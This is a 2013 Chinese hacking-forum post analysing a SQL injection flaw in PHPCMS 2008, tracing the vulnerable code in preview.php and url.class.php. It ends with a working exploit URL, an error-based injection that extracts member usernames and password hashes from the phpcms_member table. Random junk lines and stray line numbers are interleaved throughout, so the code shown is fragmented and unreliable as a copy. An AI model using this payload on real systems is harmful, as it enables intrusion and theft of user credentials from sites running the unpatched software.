中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
$ J5 f1 n" d6 x4 ~$ q
6 T6 |2 z+ d' C6 f3 h; s2 e
要转摘的兄弟们,你们还是带个版权吧!
$ t- K- _* J0 G1 A, G5 Q6 T1 {
5 j: @4 M! P% z# ?% ~
组织 :
http://www.safekeyer.com/
(欢迎访问)
u# y& J* l& A2 p9 v+ P: Q1 d0 _
/ D, j6 q. {) `5 a
author: 西毒 blog:
http://hi.baidu.com/sethc5
' t$ I) ^0 R/ F* Y, h; o0 R0 Y) J
! N; u4 x1 [' c" N$ ]
8 U- I8 q$ Z+ K" w' ?
/ V( E N5 A- _/ i
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
) u* V9 @* Y* r: y: q+ V" f
V Y" q3 m8 C5 ]$ s4 ]5 n3 Y
过程不明显的我就省略了。
6 {# _3 _7 v3 I/ C
1 G8 f0 W0 |4 d" |
在preview.php 中第7行
' [: a8 J! h5 o2 @6 L9 |$ `& l
9 L% a2 `; \5 O G5 ^
$r = new_stripslashes($info);
# B; N5 G. t# ?: [* B: I
$ z+ u8 F3 K% ]' \$ ?+ E; z- W
我们跟踪new_stripslashes这个函数
; K! ]9 D% W" F$ B5 k& D% y5 P
' v* a* I( r5 }( }( Y
在global.func.php中可以找到
; b6 h- l5 o. X! g0 z4 v" A. r3 d
# X( w5 f: j4 h8 `% W9 K* l4 m
1
) j9 P j0 J% q' p
2
! G- ~( N# q8 t, E; L# ?
3
7 i$ v" _" K- ~
4
9 E( t/ e! P/ W; w2 D
5
$ X1 b8 C5 H! d3 B2 B4 H4 ?
6 function new_stripslashes($string)
. K! ?9 N( J% ^6 o
{
6 e3 y8 a$ O& Y* g7 e! I- C4 G
if(!is_array($string)) return stripslashes($string);
# x6 b8 D' E. o9 J
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
! C. U$ X, o6 W
return $string;
- v/ @* i O/ w9 H, u$ e4 z3 N: w
}
8 t: U$ w# z. ]- Y1 E7 @# C
# Y, b2 x5 q8 V+ Z5 P0 w
这个函数的功能不用解释了吧
( H+ }% w1 z/ j" |2 g% M9 S, g+ l
) p2 B7 |1 f9 O- @- `+ S# H
所以我们看具体应用点再哪?
4 t8 }/ \. f7 [) f) U F
- b+ L) p$ o: q& h
1
6 o! v6 E7 q5 N
2
! J9 d/ M6 C. O9 Q
3
( M/ x* g, ~: D7 f v# o1 A3 [& a
4
. P$ O9 n x4 A
5
; i/ s/ Z# P' ~/ ]# c
6
- j4 v/ T2 U0 e7 V* l
7
- q; R \0 w, Z' w$ u& s6 {. c
8
$ U% w0 `5 N; h5 w9 R; [
9
+ S0 D* G- i+ V9 }1 b0 h4 C ?
10
& {% e! @/ q# J8 F5 M6 Q& e3 P
11
+ K7 _7 |3 ]; }- U" P# m( W
12
& J4 \- u' n# u1 g- \
13
4 A4 c: I6 g) A1 J+ v3 @
14
6 \& p* b4 N2 |
15
5 H" D# n$ j. c, j7 Z7 E2 j( w
16
* F7 y3 ?* `$ w4 y5 a5 ~
17
7 N: |' k8 ~: t) ~
18
9 Q* ~4 a$ D+ t$ x
19
0 K. V' a& I+ L# r% \2 a( ^
20
% J4 m" u ?" O2 ~" N/ J* g0 Q" Q
21
/ u+ o* D% X4 N/ C
22
5 O3 V6 h n8 }1 ]; @: b
23
5 Y9 ~+ j7 G/ u
24
% f* a+ j7 U/ E3 i
25
6 v1 @* e" ?' W3 ?9 T% T
26
7 `4 u3 V5 k) Z/ o/ o% [
27
/ k! X5 Q7 w( I7 m1 ^7 r; x* o
28
1 [3 E' n8 x: [; u0 `7 l: V
29
4 X' ]7 F$ F; q. J" L6 P
30
( k$ X- q* D2 d+ o; d
31
9 i; A: z! V+ l7 W; {3 y
32
/ e. W% F- W% `
33
4 C0 [ t% |7 L# ^
34
& F& }6 i9 W6 @* O
35 require dirname(__FILE__).'/include/common.inc.php';
- ]8 z- h0 v( N6 x" N
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
/ S+ G* s# R" [- H9 {8 ]
require_once CACHE_MODEL_PATH.'content_output.class.php';
3 {! r6 y9 `" O3 K$ I
require_once 'output.class.php';
- ]4 ~# @* R. H% g3 E, N
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
3 h, W2 k, c" b8 C
$r = new_stripslashes($info); //反转义了.....关键
/ H$ Z. X; ^1 D- P6 s
$C = cache_read('category_'.$r['catid'].'.php');
, n. R1 U* W7 g- o8 M
$out = new content_output();
6 w4 d, Y1 R8 m+ ]
$r['userid'] = $_userid;
0 ?5 h/ k' u& G/ K9 ?3 x2 O' f
$r['inputtime'] = TIME;
2 o5 u1 M& ?6 u1 r% n
$data = $out->get($r);
6 k- C2 _% N1 {/ K& r8 E
extract($data);
f$ P& f! {0 _; {2 h- n- L0 R5 |
$userid = $_username;
/ ^: J# S& k0 w* L/ } v
for($i=1;$i<10;$i++)
: y, C1 R8 v* E8 v
{
' S% ^% w/ ^' W0 Y
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
4 e s; R2 \% Q' _8 v
}
( A% C$ D4 }; X" u& F; n& h4 e4 K
* H. M1 h4 f8 T1 z
$array_images = $str_attachmentArray;
- ]9 k( ?: s; s! ]& h, e, u
$images_number = 10;
! m" z; _$ w8 I; `
$allow_priv = $allow_readpoint = 1;
$ I5 | G. V2 m. |( T
$updatetime = date('Y-m-d H:i:s',TIME);
1 Q1 a+ c$ ]! P2 g3 Q) b
7 [: C( ]+ O& q# e7 ]- m1 M
$page = max(intval($page), 1);
7 l* m, p" ]' g1 D9 C$ S1 j
$pages = $titles = '';
6 X; s: T; w4 W+ L
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
" U4 [5 z! q6 L: j
{
4 `- }; u+ Q5 J. s, p; ]1 R
require_once 'url.class.php';
1 T* O& ?& D2 k5 z1 l1 Z1 i \8 i
$curl = new url();
@1 c9 a! H/ P9 Q7 J
$contents = array_filter(explode('', $content));
: O. e" b R% G* N9 Y
$pagenumber = count($contents);
/ ]9 B+ b @- Q" R V
for($i=1; $i<=$pagenumber; $i++)
* J2 ~6 q! J7 R$ n( l# L
{
% m) t3 b, h( s
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
t& r$ q3 l- |7 J5 ?" d
}
6 v! q q: X6 M
其中细节我就不说了...
' @7 X4 R5 m% v# S/ A& E. F
; B% @2 \: P' w! f0 m+ S4 Q
我们看看这个$curl资源句柄中的show方法
$ G2 v& Y4 }+ t8 I4 B1 }
1 d5 A6 L9 Q! A6 M
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
' r. I* J! h# y
% x) c7 c# w% u2 z: f/ A+ o( ~
1
9 n/ I6 P" O1 |! H' H7 N! w5 G
2
* h: N! D, D" e0 _9 i7 w/ K- f
3
* N, _" d, l8 j9 j# m. e
4
& c7 p+ h& y( R& l& l* \, r: J. x
5
) b/ z! k8 X% O3 }
6
# b1 O$ B4 n& E N5 Y! ^$ l
7
0 q2 L& {, Y8 O
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
" w4 u0 ~$ j7 l& Q% P* j
{
: t8 k% N* {8 X. a2 G1 p! d. ~
global $PHPCMS;
0 n, i- V1 L! L# \) H8 U3 _
if($catid == 0 || $time == 0 || $prefix == '')
0 A/ O; ^! d2 E; R# f) s
{
/ m( v4 @+ \2 a1 y* Z& o- F/ l) \. e g
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
: z+ `: w- P6 G# D/ U
if($r['isupgrade'] && !empty($r['url']))
. r$ ~2 l: t+ q' U% N% l3 C: Q
{
o" {2 `, T% e7 y" }7 w
! v8 }& x& W3 y0 Q3 p* r6 R+ h9 B
所以结合前面的......我们x站了吧
1 N) [& i$ D% u* w
0 y) ], w3 o: B
给出exp
5 B+ j* B4 F* S9 e J) N0 s: B/ A
6 d) c2 A5 h! f5 x( i
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
I3 p( H1 O4 a: ~2 ^5 b
3 h3 z5 n7 o, n- u. o
截图看一下
7 |$ Q" P4 H3 B; P0 P& o
1 l S$ C# H' h' k
最后真心说句,360收购漏洞计划,价格真心低.....
1 h& @ H$ F- j! Q6 n% ~
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2